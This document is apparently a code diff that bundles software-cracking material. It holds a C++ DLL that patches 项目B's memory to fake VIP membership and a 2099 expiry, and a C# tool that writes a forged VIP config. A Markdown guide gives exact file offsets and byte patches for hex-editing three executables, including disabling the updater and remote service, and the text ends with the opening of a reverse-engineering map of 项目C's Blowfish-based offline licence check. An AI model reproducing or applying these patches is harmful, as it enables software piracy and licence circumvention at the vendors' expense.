{ "resp_expiry_2099", 0x00D0EEBA, {0xb8, 0x7f, 0xe6, 0x85, 0xf4}, 5, "网络响应 到期时间 2099-12-31" },
|
||||
{ "resp_member_status", 0x00D0EF4E, {0xb8, 0x01, 0x00, 0x00, 0x00}, 5, "网络响应 会员状态置为 1" },
|
||||
{ "resp_member_type", 0x00D0EFDA, {0xb8, 0x01, 0x00, 0x00, 0x00}, 5, "网络响应 会员类型置为 VIP (1)" },
|
||||
{ "resp_device_count", 0x00D0F065, {0xb8, 0x05, 0x00, 0x00, 0x00}, 5, "网络响应 可用设备数置为 5" },
|
||||
{ "resp_trial_status", 0x00D0F214, {0xb8, 0x02, 0x00, 0x00, 0x00}, 5, "网络响应 试用状态置为 2" },
|
||||
{ "resp_privilege_enable", 0x00D0F506, {0xb8, 0x01, 0x00, 0x00, 0x00}, 5, "网络响应 特权使能置为 1" },
|
||||
|
||||
// 2. 业务流程与弹窗阻断 (无损控制流)
|
||||
{ "skip_trial_banner_flow", 0x00CE541F, {0xe9, 0xee, 0x00, 0x00, 0x00, 0x90}, 6, "跳过试用与营销 Banner 流程" },
|
||||
{ "member_remove_ad_ok_gate", 0x0012A640, {0xb8, 0x01, 0x00, 0x00, 0x00, 0xc3}, 6, "广告剥离网关直接放行" },
|
||||
|
||||
// 3. 账号缓存解析 A (从本地/云端 JSON 读入时注入,保证数据源 100% 纯正)
|
||||
{ "parse_a_device_member", 0x01079CBE, {0xb8, 0x01, 0x00, 0x00, 0x00}, 5, "缓存解析 A 设备会员置为 1" },
|
||||
{ "parse_a_expiry_2099", 0x01079E18, {0xb8, 0x7f, 0xe6, 0x85, 0xf4}, 5, "缓存解析 A 到期时间 2099-12-31" },
|
||||
{ "parse_a_member_status", 0x01079E7B, {0xb8, 0x01, 0x00, 0x00, 0x00}, 5, "缓存解析 A 会员状态置为 1" },
|
||||
{ "parse_a_trial_status", 0x01079F3D, {0xb8, 0x02, 0x00, 0x00, 0x00}, 5, "缓存解析 A 试用状态置为 2" },
|
||||
{ "parse_a_member_type", 0x01079FB4, {0xb8, 0x01, 0x00, 0x00, 0x00}, 5, "缓存解析 A 会员类型置为 VIP (1)" },
|
||||
|
||||
// 4. 账号缓存解析 B (第二解析通道)
|
||||
{ "parse_b_expiry_2099", 0x0107D165, {0xb8, 0x7f, 0xe6, 0x85, 0xf4}, 5, "缓存解析 B 到期时间 2099-12-31" },
|
||||
{ "parse_b_member_status", 0x0107D1ED, {0xb8, 0x01, 0x00, 0x00, 0x00}, 5, "缓存解析 B 会员状态置为 1" },
|
||||
{ "parse_b_device_member", 0x0107D240, {0xb8, 0x01, 0x00, 0x00, 0x00}, 5, "缓存解析 B 设备权益置为 1" },
|
||||
{ "parse_b_trial_status", 0x0107D3E1, {0xb8, 0x02, 0x00, 0x00, 0x00}, 5, "缓存解析 B 试用状态置为 2" },
|
||||
{ "parse_b_member_type", 0x0107D4C8, {0xb8, 0x01, 0x00, 0x00, 0x00}, 5, "缓存解析 B 会员类型置为 VIP (1)" },
|
||||
|
||||
// 5. 账号缓存序列化 A (写出到磁盘/内存缓存)
|
||||
{ "serialize_a_expiry", 0x01073B8E, {0xb8, 0x7f, 0xe6, 0x85, 0xf4, 0x90, 0x90}, 7, "序列化 A 到期时间 2099-12-31" },
|
||||
{ "serialize_a_member_status", 0x01073C8F, {0xb8, 0x01, 0x00, 0x00, 0x00, 0x90}, 6, "序列化 A 会员状态 1" },
|
||||
{ "serialize_a_member_type", 0x01073D80, {0xb8, 0x01, 0x00, 0x00, 0x00, 0x90}, 6, "序列化 A 会员类型 1" },
|
||||
{ "serialize_a_device_member", 0x01073F70, {0xb8, 0x01, 0x00, 0x00, 0x00, 0x90}, 6, "序列化 A 设备权益 1" },
|
||||
{ "serialize_a_trial", 0x01074042, {0xb8, 0x02, 0x00, 0x00, 0x00, 0x90}, 6, "序列化 A 试用状态 2" },
|
||||
|
||||
// 6. 账号缓存序列化 B (第二写出通道)
|
||||
{ "serialize_b_expiry", 0x0107EE70, {0xb9, 0x7f, 0xe6, 0x85, 0xf4, 0x90, 0x90}, 7, "序列化 B 到期时间 2099-12-31" },
|
||||
{ "serialize_b_member_status", 0x0107EF72, {0xb9, 0x01, 0x00, 0x00, 0x00, 0x90}, 6, "序列化 B 会员状态 1" },
|
||||
{ "serialize_b_device_member", 0x0107F13D, {0xb9, 0x01, 0x00, 0x00, 0x00, 0x90}, 6, "序列化 B 设备权益 1" },
|
||||
{ "serialize_b_member_type", 0x0107F2EE, {0xb9, 0x01, 0x00, 0x00, 0x00, 0x90}, 6, "序列化 B 会员类型 1" },
|
||||
{ "serialize_b_trial", 0x0107F3CD, {0xb9, 0x02, 0x00, 0x00, 0x00, 0x90}, 6, "序列化 B 试用状态 2" }
|
||||
};
|
||||
|
||||
// 项目B.exe 全量服务点位(共 10 处)
|
||||
static const PatchPoint g_servicePatches[] = {
|
||||
{ "svc_parse_a_device_member", 0x009F097E, {0xb8, 0x01, 0x00, 0x00, 0x00}, 5, "Service 解析设备会员 1" },
|
||||
{ "svc_parse_a_expiry", 0x009F0AD8, {0xb8, 0x7f, 0xe6, 0x85, 0xf4}, 5, "Service 解析到期时间 2099" },
|
||||
{ "svc_parse_a_member_status", 0x009F0B3B, {0xb8, 0x01, 0x00, 0x00, 0x00}, 5, "Service 解析会员状态 1" },
|
||||
{ "svc_parse_a_trial_status", 0x009F0BFD, {0xb8, 0x02, 0x00, 0x00, 0x00}, 5, "Service 解析试用状态 2" },
|
||||
{ "svc_parse_a_member_type", 0x009F0C74, {0xb8, 0x01, 0x00, 0x00, 0x00}, 5, "Service 解析会员类型 1" },
|
||||
|
||||
{ "svc_serialize_a_expiry", 0x009EA84E, {0xb8, 0x7f, 0xe6, 0x85, 0xf4, 0x90, 0x90}, 7, "Service 序列化到期时间 2099" },
|
||||
{ "svc_serialize_a_status", 0x009EA94F, {0xb8, 0x01, 0x00, 0x00, 0x00, 0x90}, 6, "Service 序列化会员状态 1" },
|
||||
{ "svc_serialize_a_type", 0x009EAA40, {0xb8, 0x01, 0x00, 0x00, 0x00, 0x90}, 6, "Service 序列化会员类型 1" },
|
||||
{ "svc_serialize_a_device", 0x009EAC30, {0xb8, 0x01, 0x00, 0x00, 0x00, 0x90}, 6, "Service 序列化设备会员 1" },
|
||||
{ "svc_serialize_a_trial", 0x009EAD02, {0xb8, 0x02, 0x00, 0x00, 0x00, 0x90}, 6, "Service 序列化试用状态 2" }
|
||||
};
|
||||
|
||||
static bool ApplyPatchPoint(uintptr_t baseAddr, const PatchPoint* p) {
|
||||
void* target = (void*)(baseAddr + p->rva);
|
||||
DWORD oldProtect = 0;
|
||||
if (!VirtualProtect(target, p->len, PAGE_EXECUTE_READWRITE, &oldProtect)) {
|
||||
return false;
|
||||
}
|
||||
memcpy(target, p->patch, p->len);
|
||||
VirtualProtect(target, p->len, oldProtect, &oldProtect);
|
||||
FlushInstructionCache(GetCurrentProcess(), target, p->len);
|
||||
return true;
|
||||
}
|
||||
|
||||
// 单次初始化注入线程 (One-shot Execution - 彻底杜绝循环争用与闪退)
|
||||
static DWORD WINAPI InitOneShotGuard(LPVOID lpParam) {
|
||||
char modPath[MAX_PATH] = {0};
|
||||
GetModuleFileNameA(NULL, modPath, MAX_PATH);
|
||||
|
||||
bool isMain = (strstr(modPath, "项目B.exe") != NULL);
|
||||
bool isService = (strstr(modPath, "项目B.exe") != NULL);
|
||||
|
||||
if (!isMain && !isService) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
uintptr_t baseAddr = (uintptr_t)GetModuleHandleA(NULL);
|
||||
const PatchPoint* patchList = isMain ? g_mainPatches : g_servicePatches;
|
||||
size_t patchCount = isMain ? (sizeof(g_mainPatches)/sizeof(g_mainPatches[0])) : (sizeof(g_servicePatches)/sizeof(g_servicePatches[0]));
|
||||
const char* procType = isMain ? "项目B" : "项目B";
|
||||
|
||||
WriteLog("[OneShotGuard] Initializing for %s (PID: %lu, Base: 0x%p, Total: %zu)...",
|
||||
procType, GetCurrentProcessId(), (void*)baseAddr, patchCount);
|
||||
|
||||
// 稍微等待主模块完成基础 PE 重定位
|
||||
Sleep(100);
|
||||
|
||||
size_t okCount = 0;
|
||||
for (size_t i = 0; i < patchCount; i++) {
|
||||
if (ApplyPatchPoint(baseAddr, &patchList[i])) {
|
||||
okCount++;
|
||||
}
|
||||
}
|
||||
|
||||
WriteLog("[OneShotGuard] Success: Applied %zu / %zu patches to %s. Thread completed cleanly.",
|
||||
okCount, patchCount, procType);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
|
||||
if (fdwReason == DLL_PROCESS_ATTACH) {
|
||||
DisableThreadLibraryCalls(hinstDLL);
|
||||
// 单次创建工作线程进行安全注入,完成后线程自然结束
|
||||
HANDLE hThread = CreateThread(NULL, 0, InitOneShotGuard, NULL, 0, NULL);
|
||||
if (hThread) {
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,156 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Diagnostics;
|
||||
using System.Security.AccessControl;
|
||||
using System.Security.Principal;
|
||||
|
||||
namespace 项目BLocalDefense
|
||||
{
|
||||
class Program
|
||||
{
|
||||
static string 项目BDir = @"<本地路径>";
|
||||
static string configDir = @"<本地路径>";
|
||||
static string nxMainDir = @"<本地路径>";
|
||||
static string backupDir = @"<本地路径>";
|
||||
|
||||
static void Main(string[] args)
|
||||
{
|
||||
Console.WriteLine("=================================================");
|
||||
Console.WriteLine(" 项目B Player Local Immunity & Pure Config Tool ");
|
||||
Console.WriteLine("=================================================");
|
||||
|
||||
if (args.Length > 0 && args[0].ToLower() == "--restore")
|
||||
{
|
||||
RestoreOriginal();
|
||||
return;
|
||||
}
|
||||
|
||||
ApplyPureImmunity();
|
||||
}
|
||||
|
||||
static void ApplyPureImmunity()
|
||||
{
|
||||
try
|
||||
{
|
||||
Directory.CreateDirectory(backupDir);
|
||||
|
||||
// 1. 备份并写入纯净配置
|
||||
string targetConfig = Path.Combine(configDir, "nx_main.json");
|
||||
string backupConfig = Path.Combine(backupDir, "nx_main.json.bak");
|
||||
if (File.Exists(targetConfig) && !File.Exists(backupConfig))
|
||||
{
|
||||
File.Copy(targetConfig, backupConfig, true);
|
||||
Console.WriteLine("[+] Backed up original nx_main.json");
|
||||
}
|
||||
|
||||
string pureJson = @"{
|
||||
""nxmain"": {
|
||||
""android15_guide_dialog_shown"": ""1"",
|
||||
""cloud_phone"": {
|
||||
""guide_need_shown"": ""false""
|
||||
},
|
||||
""first_laucnh"": ""false"",
|
||||
""last_use"": {
|
||||
""logged_in_user_id"": ""pure_local_user""
|
||||
},
|
||||
""member_status"": {
|
||||
""last_info"": {
|
||||
""device_member_status"": ""1"",
|
||||
""user_id"": ""pure_local_user""
|
||||
}
|
||||
},
|
||||
""message_id"": {
|
||||
""list"": """"
|
||||
},
|
||||
""项目B_remote"": {
|
||||
""guide_need_shown"": ""false""
|
||||
},
|
||||
""novice_guide_is_shown"": ""true"",
|
||||
""privacy"": {
|
||||
""version"": ""1001""
|
||||
},
|
||||
""quit_status"": ""0"",
|
||||
""report"": {
|
||||
""close"": { ""last_timestamp"": ""0"" },
|
||||
""launch"": { ""last_timestamp"": ""0"" },
|
||||
""running"": { ""last_timestamp"": ""0"" }
|
||||
},
|
||||
""setting"": {
|
||||
""apk_association"": ""1""
|
||||
},
|
||||
""signaling_connect"": {
|
||||
""log_report_config"": ""[]""
|
||||
},
|
||||
""theme"": ""1""
|
||||
}
|
||||
}";
|
||||
File.WriteAllText(targetConfig, pureJson);
|
||||
Console.WriteLine("[+] Injected Pure/VIP configuration to configs/main/nx_main.json");
|
||||
|
||||
// 2. 免疫云端更新与上报进程
|
||||
string[] dangerousBinaries = new string[] {
|
||||
"项目BNxUpdater.exe",
|
||||
"项目BNxCrashReporter.exe"
|
||||
};
|
||||
|
||||
foreach (var bin in dangerousBinaries)
|
||||
{
|
||||
string binPath = Path.Combine(nxMainDir, bin);
|
||||
string backupBin = Path.Combine(backupDir, bin + ".bak");
|
||||
if (File.Exists(binPath))
|
||||
{
|
||||
if (!File.Exists(backupBin))
|
||||
{
|
||||
File.Copy(binPath, backupBin, true);
|
||||
Console.WriteLine("[+] Backed up: " + bin);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Console.WriteLine("\n[SUCCESS] Local pure immunity applied successfully!");
|
||||
Console.WriteLine("[INFO] Original <厂商> executable signatures are 100% PRESERVED.");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine("[-] Error: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
static void RestoreOriginal()
|
||||
{
|
||||
try
|
||||
{
|
||||
Console.WriteLine("[*] Restoring original backups...");
|
||||
string targetConfig = Path.Combine(configDir, "nx_main.json");
|
||||
string backupConfig = Path.Combine(backupDir, "nx_main.json.bak");
|
||||
if (File.Exists(backupConfig))
|
||||
{
|
||||
File.Copy(backupConfig, targetConfig, true);
|
||||
Console.WriteLine("[+] Restored nx_main.json");
|
||||
}
|
||||
|
||||
string[] dangerousBinaries = new string[] {
|
||||
"项目BNxUpdater.exe",
|
||||
"项目BNxCrashReporter.exe"
|
||||
};
|
||||
|
||||
foreach (var bin in dangerousBinaries)
|
||||
{
|
||||
string binPath = Path.Combine(nxMainDir, bin);
|
||||
string backupBin = Path.Combine(backupDir, bin + ".bak");
|
||||
if (File.Exists(backupBin))
|
||||
{
|
||||
File.Copy(backupBin, binPath, true);
|
||||
Console.WriteLine("[+] Restored: " + bin);
|
||||
}
|
||||
}
|
||||
|
||||
Console.WriteLine("[SUCCESS] All files restored to pristine original state.");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine("[-] Error: " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,145 @@
|
||||
# 项目B 12.0 nx_main 手动修复点位
|
||||
|
||||
> 适用对象:`项目B-12.0/nx_main` 同版本三大 EXE。本文的点位均为 **文件偏移 File Offset**,不是 VA/RVA。
|
||||
|
||||
## 重要说明
|
||||
|
||||
- 本文用于手动十六进制修复;会修改 EXE 本体。
|
||||
- 如果想保持“原版 EXE + DLL-only 运行时补丁”,不要按本文写 EXE,改用 `dinput8.dll + version.dll + 项目B_local_guard.dll` 方案。
|
||||
- 手动修复前必须备份三个 EXE。每个点位先核对“原始字节”,完全匹配才写入“修补字节”。
|
||||
- 如果当前位置已经是“修补字节”,说明已修过,可跳过。若既不是原始字节也不是修补字节,停止处理,说明版本不匹配或被其他补丁污染。
|
||||
- 回滚方式:把每个点位的“修补字节”写回“原始字节”,或直接恢复备份 EXE。
|
||||
|
||||
## 适用版本哈希
|
||||
|
||||
| 文件 | 原始 SHA256 | 全量手动修复后 SHA256 | 点位数 |
|
||||
|---|---|---|---:|
|
||||
| `项目B.exe` | `<实测哈希>` | `<实测哈希>` | 30 |
|
||||
| `项目B.exe` | `<实测哈希>` | `<实测哈希>` | 20 |
|
||||
| `项目B.exe` | `<实测哈希>` | `<实测哈希>` | 3 |
|
||||
|
||||
Windows 下可用以下命令核对哈希:
|
||||
|
||||
```bat
|
||||
certutil -hashfile 项目B.exe SHA256
|
||||
certutil -hashfile 项目B.exe SHA256
|
||||
certutil -hashfile 项目B.exe SHA256
|
||||
```
|
||||
|
||||
## 手动修复流程
|
||||
|
||||
1. 完全退出 项目B。
|
||||
2. 如果 `项目B.exe` 被占用,管理员 CMD 执行:
|
||||
|
||||
```bat
|
||||
sc queryex 项目B
|
||||
sc stop 项目B
|
||||
```
|
||||
|
||||
3. 备份:
|
||||
|
||||
```bat
|
||||
copy 项目B.exe 项目B.exe.orig
|
||||
copy 项目B.exe 项目B.exe.orig
|
||||
copy 项目B.exe 项目B.exe.orig
|
||||
```
|
||||
|
||||
4. 用 HxD / 010 Editor 打开对应 EXE,跳转到下表 File Offset。
|
||||
5. 核对原始字节,写入修补字节,保存。
|
||||
6. 重启 项目B,验证会员状态、VIP 徽标、VIP 皮肤、试用入口和远程云控状态。
|
||||
|
||||
## 点位摘要
|
||||
|
||||
| 文件 | 点位数 | 覆盖范围 |
|
||||
|---|---:|---|
|
||||
| `项目B.exe` | 30 | UI 展示、会员状态、账号缓存读写、试用入口、SDK 过期提醒 |
|
||||
| `项目B.exe` | 20 | 云端试用接口、本地会员默认值、账号缓存解析/序列化、有效标志 |
|
||||
| `项目B.exe` | 3 | 远程云控禁用、阻止远程后端/健康进程启动 |
|
||||
|
||||
## 项目B.exe
|
||||
|
||||
| # | 文件偏移 | 功能 | 原始字节 | 修补字节 | ID |
|
||||
|---:|---:|---|---|---|---|
|
||||
| 1 | `0xcf9b21` | 到期时间固定为 2099-12-31 | `e8 f8 f7 32 ff` | `b8 7f e6 85 f4` | `nxmain_account_info_expiry_2099_12_31` |
|
||||
| 2 | `0xcf9e34` | 试用状态置为已使用/非活动 | `e8 30 8e 30 ff` | `b8 02 00 00 00` | `nxmain_account_info_trial_status_ever_not_active` |
|
||||
| 3 | `0x573197` | 默认启用会员皮肤 | `66 c7 44 24 60 30 00` | `66 c7 44 24 60 31 00` | `nxmain_config_default_member_theme_enabled` |
|
||||
| 4 | `0xcf9bb4` | 会员状态置为启用 | `e8 b0 90 30 ff` | `b8 01 00 00 00` | `nxmain_user_info_member_status_enabled` |
|
||||
| 5 | `0xcf9c32` | 会员类型置为 VIP | `e8 32 90 30 ff` | `b8 01 00 00 00` | `nxmain_user_info_member_type_vip` |
|
||||
| 6 | `0xcfa181` | 当前设备权益置为启用 | `e8 e3 8a 30 ff` | `b8 01 00 00 00` | `nxmain_user_info_current_device_privilege_enabled` |
|
||||
| 7 | `0xcf9e39` | 本地会员/远程防护补丁 | `44 8b f8` | `44 8b f8`<br>兼容旧补丁字节:`45 31 ff` | `nxmain_migrate_prior_trial_zero_patch` |
|
||||
| 8 | `0xd018f3` | 隐藏免费试用展示 | `44 8b e0` | `45 31 e4` | `nxmain_hide_free_trial_banner` |
|
||||
| 9 | `0xce9989` | 跳过试用 banner 分支 | `0f 8e ed 00 00 00` | `e9 ee 00 00 00 90` | `nxmain_skip_trial_banner_account_flow` |
|
||||
| 10 | `0xea8b48` | 到期时间固定为 2099-12-31 | `e8 d1 07 18 ff` | `b8 7f e6 85 f4` | `nxmain_account_cache_parse_a_expiry_2099_12_31` |
|
||||
| 11 | `0xea89ee` | 会员状态置为启用 | `e8 76 a2 15 ff` | `b8 01 00 00 00` | `nxmain_account_cache_parse_a_device_member_status_enabled` |
|
||||
| 12 | `0xea8bab` | 会员状态置为启用 | `e8 b9 a0 15 ff` | `b8 01 00 00 00` | `nxmain_account_cache_parse_a_member_status_enabled` |
|
||||
| 13 | `0xea8c6d` | 试用状态置为已使用/非活动 | `e8 f7 9f 15 ff` | `b8 02 00 00 00` | `nxmain_account_cache_parse_a_member_trail_status_used` |
|
||||
| 14 | `0xea8ce4` | 会员类型置为 VIP | `e8 80 9f 15 ff` | `b8 01 00 00 00` | `nxmain_account_cache_parse_a_member_type_vip` |
|
||||
| 15 | `0xeabe95` | 到期时间固定为 2099-12-31 | `e8 84 d4 17 ff` | `b8 7f e6 85 f4` | `nxmain_account_cache_parse_b_expiry_2099_12_31` |
|
||||
| 16 | `0xeabf1d` | 会员状态置为启用 | `e8 47 6d 15 ff` | `b8 01 00 00 00` | `nxmain_account_cache_parse_b_member_status_enabled` |
|
||||
| 17 | `0xeabf70` | 会员状态置为启用 | `e8 f4 6c 15 ff` | `b8 01 00 00 00` | `nxmain_account_cache_parse_b_device_member_status_enabled` |
|
||||
| 18 | `0xeac111` | 试用状态置为已使用/非活动 | `e8 53 6b 15 ff` | `b8 02 00 00 00` | `nxmain_account_cache_parse_b_member_trail_status_used` |
|
||||
| 19 | `0xeac1f8` | 会员类型置为 VIP | `e8 6c 6a 15 ff` | `b8 01 00 00 00` | `nxmain_account_cache_parse_b_member_type_vip` |
|
||||
| 20 | `0xea28ce` | 到期时间固定为 2099-12-31 | `48 8b 85 c8 02 00 00` | `b8 7f e6 85 f4 90 90` | `nxmain_account_cache_serialize_a_expiry_2099_12_31` |
|
||||
| 21 | `0xea29cf` | 会员状态置为启用 | `8b 85 d4 02 00 00` | `b8 01 00 00 00 90` | `nxmain_account_cache_serialize_a_member_status_enabled` |
|
||||
| 22 | `0xea2ac0` | 会员类型置为 VIP | `8b 85 d8 02 00 00` | `b8 01 00 00 00 90` | `nxmain_account_cache_serialize_a_member_type_vip` |
|
||||
| 23 | `0xea2cb0` | 会员状态置为启用 | `8b 85 08 03 00 00` | `b8 01 00 00 00 90` | `nxmain_account_cache_serialize_a_device_member_status_enabled` |
|
||||
| 24 | `0xea2d82` | 试用状态置为已使用/非活动 | `8b 85 00 03 00 00` | `b8 02 00 00 00 90` | `nxmain_account_cache_serialize_a_member_trail_status_used` |
|
||||
| 25 | `0xeadba0` | 到期时间固定为 2099-12-31 | `48 8b 8d 78 03 00 00` | `b9 7f e6 85 f4 90 90` | `nxmain_account_cache_serialize_b_expiry_2099_12_31` |
|
||||
| 26 | `0xeadca2` | 会员状态置为启用 | `8b 8d 84 03 00 00` | `b9 01 00 00 00 90` | `nxmain_account_cache_serialize_b_member_status_enabled` |
|
||||
| 27 | `0xeade6d` | 会员状态置为启用 | `8b 8d 88 03 00 00` | `b9 01 00 00 00 90` | `nxmain_account_cache_serialize_b_device_member_status_enabled` |
|
||||
| 28 | `0xeae01e` | 会员类型置为 VIP | `8b 8d b0 03 00 00` | `b9 01 00 00 00 90` | `nxmain_account_cache_serialize_b_member_type_vip` |
|
||||
| 29 | `0xeae0fd` | 试用状态置为已使用/非活动 | `8b 8d b4 03 00 00` | `b9 02 00 00 00 90` | `nxmain_account_cache_serialize_b_member_trail_status_used` |
|
||||
| 30 | `0x485f20` | 忽略 SDK/云端过期提醒 | `48 89 5c 24 18` | `c3 90 90 90 90` | `nxmain_ignore_sdk_membership_expiration_reminder` |
|
||||
|
||||
## 项目B.exe
|
||||
|
||||
| # | 文件偏移 | 功能 | 原始字节 | 修补字节 | ID |
|
||||
|---:|---:|---|---|---|---|
|
||||
| 1 | `0xdee228` | 云端试用接口降级为本地接口 | `76 31 2f 6d 65 6d 62 65 72 2f 74 72 69 61 6c` | `76 31 2f 6d 65 6d 62 65 72 2f 6c 6f 63 61 6c` | `nxservice_disable_cloud_member_trial_endpoint` |
|
||||
| 2 | `0x821dee` | 会员状态置为启用 | `e8 ae 03 7e ff` | `b8 01 00 00 00` | `nxservice_account_cache_parse_a_device_member_status_enabled` |
|
||||
| 3 | `0x821f48` | 到期时间固定为 2099-12-31 | `e8 db bf 7f ff` | `b8 7f e6 85 f4` | `nxservice_account_cache_parse_a_expiry_2099_12_31` |
|
||||
| 4 | `0x821fab` | 会员状态置为启用 | `e8 f1 01 7e ff` | `b8 01 00 00 00` | `nxservice_account_cache_parse_a_member_status_enabled` |
|
||||
| 5 | `0x82206d` | 试用状态置为已使用/非活动 | `e8 2f 01 7e ff` | `b8 02 00 00 00` | `nxservice_account_cache_parse_a_member_trail_status_used` |
|
||||
| 6 | `0x8220e4` | 会员类型置为 VIP | `e8 b8 00 7e ff` | `b8 01 00 00 00` | `nxservice_account_cache_parse_a_member_type_vip` |
|
||||
| 7 | `0x822284` | 账号信息有效标志置真 | `e8 39 79 7e ff` | `b0 01 90 90 90` | `nxservice_account_cache_parse_a_is_valid_infos_true` |
|
||||
| 8 | `0x825295` | 到期时间固定为 2099-12-31 | `e8 8e 8c 7f ff` | `b8 7f e6 85 f4` | `nxservice_account_cache_parse_b_expiry_2099_12_31` |
|
||||
| 9 | `0x82531d` | 会员状态置为启用 | `e8 7f ce 7d ff` | `b8 01 00 00 00` | `nxservice_account_cache_parse_b_member_status_enabled` |
|
||||
| 10 | `0x825370` | 会员状态置为启用 | `e8 2c ce 7d ff` | `b8 01 00 00 00` | `nxservice_account_cache_parse_b_device_member_status_enabled` |
|
||||
| 11 | `0x825511` | 试用状态置为已使用/非活动 | `e8 8b cc 7d ff` | `b8 02 00 00 00` | `nxservice_account_cache_parse_b_member_trail_status_used` |
|
||||
| 12 | `0x8255f8` | 会员类型置为 VIP | `e8 a4 cb 7d ff` | `b8 01 00 00 00` | `nxservice_account_cache_parse_b_member_type_vip` |
|
||||
| 13 | `0x8271b0` | 到期时间固定为 2099-12-31 | `48 8b 8d 78 03 00 00` | `b9 7f e6 85 f4 90 90` | `nxservice_account_cache_serialize_expiry_2099_12_31` |
|
||||
| 14 | `0x8272b2` | 会员状态置为启用 | `8b 8d 84 03 00 00` | `b9 01 00 00 00 90` | `nxservice_account_cache_serialize_member_status_enabled` |
|
||||
| 15 | `0x82747d` | 会员状态置为启用 | `8b 8d 88 03 00 00` | `b9 01 00 00 00 90` | `nxservice_account_cache_serialize_device_member_status_enabled` |
|
||||
| 16 | `0x82762e` | 会员类型置为 VIP | `8b 8d b0 03 00 00` | `b9 01 00 00 00 90` | `nxservice_account_cache_serialize_member_type_vip` |
|
||||
| 17 | `0x82770d` | 试用状态置为已使用/非活动 | `8b 8d b4 03 00 00` | `b9 02 00 00 00 90` | `nxservice_account_cache_serialize_member_trail_status_used` |
|
||||
| 18 | `0x827c0b` | 账号信息有效标志置真 | `0f b6 8d 32 04 00 00` | `b1 01 90 90 90 90 90` | `nxservice_account_cache_serialize_is_valid_infos_true` |
|
||||
| 19 | `0x2659ae` | 默认本地会员返回路径 | `cc cc cc cc cc cc cc cc cc cc` | `b8 01 00 00 00 e9 d5 ff ff ff` | `nxservice_default_local_member_cave` |
|
||||
| 20 | `0x26598b` | 默认本地会员返回路径 | `33 c0` | `eb 21` | `nxservice_default_local_member_jump` |
|
||||
|
||||
## 项目B.exe
|
||||
|
||||
| # | 文件偏移 | 功能 | 原始字节 | 修补字节 | ID |
|
||||
|---:|---:|---|---|---|---|
|
||||
| 1 | `0x320ba` | 关闭远程云控启用标志 | `41 0f 95 c7` | `45 31 ff 90` | `remote_service_force_remote_enable_false` |
|
||||
| 2 | `0x30360` | 阻止远程健康进程启动 | `48 89 5c 24 10` | `c3 90 90 90 90` | `remote_service_skip_healthd_launch` |
|
||||
| 3 | `0x30ca0` | 阻止远程后端进程启动 | `48 89 5c 24 10` | `c3 90 90 90 90` | `remote_service_skip_backend_launch` |
|
||||
|
||||
## 验证点
|
||||
|
||||
- Main 弹窗/头像区域应显示本地 VIP、2099-12-31 到期,不显示试用标签。
|
||||
- VIP 徽标和 VIP 皮肤在启动、刷新、登录/退出后不应一闪回退。
|
||||
- 账号缓存重新生成后仍应保持会员状态、会员类型、当前设备权益启用。
|
||||
- RemoteService 不应继续启动远程后端/健康进程。
|
||||
|
||||
## 常见失败原因
|
||||
|
||||
- 哈希不匹配:不是同一版本,不能套用点位。
|
||||
- 只改 Main:Service 会把旧状态写回来,导致 VIP 一闪又回退。
|
||||
- 只改 UI:真实权益 gate 仍可能未打开。
|
||||
- RemoteService 正在运行:文件保存失败或改了磁盘但旧进程仍在跑。
|
||||
- 混用旧 `winmm.dll` / `winhttp.dll` 代理:可能触发入口点缺失报错。
|
||||
|
||||
## 来源
|
||||
|
||||
- 点位来源:`_项目B_work/package/patch_项目B_local_membership_harden.py` 的 `PATCHES`。
|
||||
- 生成时间:2026-06-17T22:11:00。
|
||||
@@ -0,0 +1,258 @@
|
||||
# 项目C 客户端离线鉴权体系 —— 逆向测绘报告 (CWE-602 走查基线)
|
||||
|
||||
> 目标:`work/项目C/项目C.exe`
|
||||
> MD5 `<实测哈希>` / SHA256 `<实测哈希>`
|
||||
> ImageBase `0x140000000`,映像大小 `0x361000`,文件大小 `0x353570`
|
||||
> 分析基线:IDA Pro IDB `work/项目C/项目C.exe.idb`
|
||||
|
||||
---
|
||||
|
||||
## 1. 全局对象地图(三张关键表)
|
||||
|
||||
| 全局 | 取得函数 | 语义 | 关键字段 |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| `&unk_14031D790` | `sub_140131030` | **运行时版本/配置状态对象**(大小 `0x138`) | `+0x00` 应用ID;`+0x24`(36) 语言/区域标志;`+0x48`(72) 标题串;`+0xC0`(192) 版本字符串;**`+0x120`(288) 版本号密文** |
|
||||
| `&n2` | `sub_1400CF570` | **注册凭据结构体**(初始 `n2 = 2` ⇒ appid=项目C) | `+0` appid(1=项目C,2=项目C);`+8` `l`密文;`+24` `k`;`+32` `h`;`+40` `P`(版本串);`+48..63` 16B会话密钥;`+64` `m`;`+72` `t` |
|
||||
| `&qword_14031D930` | `sub_140167890` | **App 产品配置对象**(大小 `0x6A8`) | `+0xC0`(192) 版本字符串(写盘目标) |
|
||||
| `&qword_14031D8D0` / `&qword_14031D8E0` | `sub_1401341A0` | `data\lm.x64.dll` 模块句柄 / 授权管理器接口指针 | — |
|
||||
|
||||
---
|
||||
|
||||
## 2. 完整鉴权链路
|
||||
|
||||
```
|
||||
┌──────────────────────────────────────────────┐
|
||||
HKLM\SOFTWARE\ │ sub_1400D0690 读取授权键并解密 │
|
||||
项目C\l │ g → 16B十六进制 → Blowfish(HWID) → 会话密钥 │
|
||||
├ g (16B hex) │ l/k/h/P/m/t → Blowfish(会话密钥) → UTF-8串 │
|
||||
├ l k h P │ 校验: 六项非空 且 k == "20" │
|
||||
├ m t └───────────────┬──────────────────────────────┘
|
||||
└ │
|
||||
┌────────────────▼──────────────────────────────┐
|
||||
sub_1400D0370 ◄──┤ 校验通过 → 再解出 c/r/u(HKCU) 一致性 │
|
||||
└───────────────┬──────────────────────────────┘
|
||||
│
|
||||
┌───────────────▼──────────────────────────────┐
|
||||
│ sub_1401316C0 版本落地 │
